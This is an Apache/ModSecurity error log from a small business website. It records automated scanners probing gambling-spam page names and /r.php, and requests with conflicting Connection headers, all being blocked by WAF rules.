[Wed Feb 04 13:45:45.264081 2026] [:error] [pid 47500:tid 47522] [client 193.70.46.38:47110] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYLdCbrUat0rhPdY3A2vHgAAAVI"]
[Wed Feb 04 13:45:47.786099 2026] [:error] [pid 47405:tid 47450] [client 193.70.46.38:47124] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYLdC6TmhSrwHQTn6I4GcQAAAMo"]
[Wed Feb 04 13:45:50.163106 2026] [:error] [pid 8285:tid 8302] [client 193.70.46.38:47126] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYLdDhpweS7ndDaunz-COAAAAE8"]
[Wed Feb 04 13:45:52.676783 2026] [:error] [pid 8285:tid 8299] [client 193.70.46.38:47138] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYLdEBpweS7ndDaunz-CQQAAAEw"]
[Wed Feb 04 13:45:55.204206 2026] [:error] [pid 50578:tid 50598] [client 193.70.46.38:54476] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYLdE9YUQBXdXxfW1mcPugAAABI"]
[Wed Feb 04 13:45:57.705469 2026] [:error] [pid 50578:tid 50590] [client 193.70.46.38:54488] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aYLdFdYUQBXdXxfW1mcPwwAAAAo"]
[Wed Feb 04 13:46:00.223273 2026] [:error] [pid 50578:tid 50581] [client 193.70.46.38:54496] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYLdGNYUQBXdXxfW1mcPyAAAAAE"]
[Wed Feb 04 13:46:02.595953 2026] [:error] [pid 47404:tid 47417] [client 193.70.46.38:54498] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYLdGltGjJnGFKjTTua0JAAAAIc"]
[Wed Feb 04 13:46:05.096704 2026] [:error] [pid 47404:tid 47413] [client 193.70.46.38:34660] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYLdHVtGjJnGFKjTTua0KAAAAIM"]
[Wed Feb 04 13:46:07.658459 2026] [:error] [pid 8285:tid 8296] [client 193.70.46.38:34674] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYLdHxpweS7ndDaunz-CWQAAAEk"]
[Wed Feb 04 13:46:10.025179 2026] [:error] [pid 50578:tid 50584] [client 193.70.46.38:34682] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYLdItYUQBXdXxfW1mcP3gAAAAQ"]
[Wed Feb 04 13:46:12.527721 2026] [:error] [pid 47405:tid 47452] [client 193.70.46.38:34694] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYLdJKTmhSrwHQTn6I4GmAAAAMw"]
[Wed Feb 04 13:46:15.040964 2026] [:error] [pid 8285:tid 8302] [client 193.70.46.38:49000] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYLdJxpweS7ndDaunz-CaQAAAE8"]
[Wed Feb 04 13:46:17.530994 2026] [:error] [pid 47406:tid 47486] [client 193.70.46.38:49008] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYLdKQeu9R9b-_wtQ0LhQwAAARM"]
[Wed Feb 04 13:46:20.045330 2026] [:error] [pid 47406:tid 47470] [client 193.70.46.38:49020] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYLdLAeu9R9b-_wtQ0LhRQAAAQM"]
[Wed Feb 04 13:46:22.542695 2026] [:error] [pid 50578:tid 50589] [client 193.70.46.38:49036] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYLdLtYUQBXdXxfW1mcP9AAAAAk"]
[Wed Feb 04 13:46:25.025556 2026] [:error] [pid 47406:tid 47469] [client 193.70.46.38:32902] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYLdMQeu9R9b-_wtQ0LhSgAAAQI"]
[Wed Feb 04 13:46:27.357085 2026] [:error] [pid 50578:tid 50581] [client 193.70.46.38:32904] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYLdM9YUQBXdXxfW1mcP-wAAAAE"]
[Wed Feb 04 13:46:29.840935 2026] [:error] [pid 47406:tid 47484] [client 193.70.46.38:32916] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYLdNQeu9R9b-_wtQ0LhTwAAARE"]
[Wed Feb 04 13:46:32.164674 2026] [:error] [pid 47500:tid 47523] [client 193.70.46.38:32924] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYLdOLrUat0rhPdY3A2vcAAAAVM"]
[Wed Feb 04 13:46:34.656898 2026] [:error] [pid 47404:tid 47421] [client 193.70.46.38:45356] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYLdOltGjJnGFKjTTua0UAAAAIs"]
[Wed Feb 04 13:46:37.141929 2026] [:error] [pid 47404:tid 47428] [client 193.70.46.38:45366] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYLdPVtGjJnGFKjTTua0UwAAAJI"]
[Wed Feb 04 13:46:39.470369 2026] [:error] [pid 8285:tid 8311] [client 193.70.46.38:45382] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYLdPxpweS7ndDaunz-CjgAAAFg"]
[Wed Feb 04 13:47:00.353907 2026] [:error] [pid 47404:tid 47429] [client 193.70.46.38:45394] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYLdVFtGjJnGFKjTTua0gAAAAJM"]
[Wed Feb 04 13:47:02.847134 2026] [:error] [pid 47405:tid 47460] [client 193.70.46.38:44942] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYLdVqTmhSrwHQTn6I4HOwAAANQ"]
[Wed Feb 04 13:47:05.462096 2026] [:error] [pid 50578:tid 50583] [client 193.70.46.38:57668] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYLdWdYUQBXdXxfW1mcQPQAAAAM"]
[Wed Feb 04 13:47:08.078096 2026] [:error] [pid 47404:tid 47421] [client 193.70.46.38:57682] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYLdXFtGjJnGFKjTTua0kQAAAIs"]
[Wed Feb 04 13:47:10.691809 2026] [:error] [pid 8285:tid 8305] [client 193.70.46.38:57696] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYLdXhpweS7ndDaunz-DAgAAAFI"]
[Wed Feb 04 13:47:13.306039 2026] [:error] [pid 47405:tid 47443] [client 193.70.46.38:48720] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYLdYaTmhSrwHQTn6I4HUQAAAMM"]
[Wed Feb 04 13:47:15.920045 2026] [:error] [pid 47405:tid 47461] [client 193.70.46.38:48724] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYLdY6TmhSrwHQTn6I4HVwAAANU"]
[Wed Feb 04 13:47:18.533202 2026] [:error] [pid 50578:tid 50586] [client 193.70.46.38:48730] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYLdZtYUQBXdXxfW1mcQXgAAAAY"]
[Wed Feb 04 13:47:20.991640 2026] [:error] [pid 50578:tid 50603] [client 193.70.46.38:48738] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYLdaNYUQBXdXxfW1mcQcAAAABc"]
[Wed Feb 04 13:47:23.599145 2026] [:error] [pid 50578:tid 50602] [client 193.70.46.38:40850] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYLda9YUQBXdXxfW1mcQegAAABY"]
[Wed Feb 04 13:47:26.202746 2026] [:error] [pid 47500:tid 47522] [client 193.70.46.38:40852] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYLdbrrUat0rhPdY3A2v_wAAAVI"]
[Wed Feb 04 13:47:28.804012 2026] [:error] [pid 47500:tid 47504] [client 193.70.46.38:40860] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYLdcLrUat0rhPdY3A2wFAAAAUA"]
[Wed Feb 04 13:47:31.416587 2026] [:error] [pid 47500:tid 47516] [client 193.70.46.38:40866] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYLdc7rUat0rhPdY3A2wHAAAAUw"]
[Wed Feb 04 13:47:34.027888 2026] [:error] [pid 8285:tid 8293] [client 193.70.46.38:57194] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYLddhpweS7ndDaunz-DgwAAAEY"]
[Wed Feb 04 13:47:36.635333 2026] [:error] [pid 50578:tid 50588] [client 193.70.46.38:57208] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYLdeNYUQBXdXxfW1mcQlwAAAAg"]
[Wed Feb 04 13:47:39.239634 2026] [:error] [pid 50578:tid 50582] [client 193.70.46.38:57220] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYLde9YUQBXdXxfW1mcQnQAAAAI"]
[Wed Feb 04 13:47:41.849245 2026] [:error] [pid 47405:tid 47453] [client 193.70.46.38:57226] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYLdfaTmhSrwHQTn6I4HnwAAAM0"]
[Wed Feb 04 13:47:44.308478 2026] [:error] [pid 47404:tid 47422] [client 193.70.46.38:43120] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYLdgFtGjJnGFKjTTua1FgAAAIw"]
[Wed Feb 04 17:38:04.469881 2026] [:error] [pid 47406:tid 47491] [client 43.166.134.47:48436] [client 43.166.134.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYMTfAeu9R9b-_wtQ0ISAgAAARg"]
[Wed Feb 04 18:25:18.230237 2026] [:error] [pid 55160:tid 55173] [client 120.71.59.24:40511] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYMejuTAiAYDLSDaxdcWiAAAAYs"]
[Wed Feb 04 18:38:45.227600 2026] [:error] [pid 55160:tid 55169] [client 49.51.166.228:37430] [client 49.51.166.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYMhteTAiAYDLSDaxdcbmgAAAYc"]
[Wed Feb 04 21:15:06.926123 2026] [ssl:error] [pid 47404:tid 47420] [client 107.172.180.205:45998] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: http://measureyourbrand.com/
[Wed Feb 04 22:55:07.914378 2026] [:error] [pid 63777:tid 63791] [client 20.210.129.57:13645] [client 20.210.129.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aYNdy_Q-YVerd_zSVS9TSQAAAAw"]
[Wed Feb 04 22:55:08.418873 2026] [:error] [pid 63685:tid 63733] [client 20.210.129.57:10320] [client 20.210.129.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aYNdzI6Dyg716yRb8FB4pgAAANE"]
[Wed Feb 04 22:55:08.908684 2026] [:error] [pid 63686:tid 63763] [client 20.210.129.57:3341] [client 20.210.129.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aYNdzByaRl9O5jmngTzsDQAAARQ"]
[Wed Feb 04 22:55:09.417518 2026] [:error] [pid 6490:tid 6503] [client 20.210.129.57:20678] [client 20.210.129.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aYNdzfjiJaSp2OpoDUk7bwAAAEo"]
[Wed Feb 04 23:34:19.478600 2026] [:error] [pid 63777:tid 63779] [client 37.27.119.185:53592] [client 37.27.119.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYNm-_Q-YVerd_zSVS9jLgAAAAA"], referer: https://www.theguardian.com
[Wed Feb 04 23:34:20.352415 2026] [:error] [pid 6490:tid 6499] [client 37.27.119.185:54559] [client 37.27.119.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYNm_PjiJaSp2OpoDUlOxQAAAEY"], referer: https://www.twitter.com
[Wed Feb 04 23:34:22.261282 2026] [:error] [pid 63686:tid 63759] [client 37.27.119.185:55289] [client 37.27.119.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYNm_hyaRl9O5jmngTz5IQAAARA"], referer: https://www.imdb.com
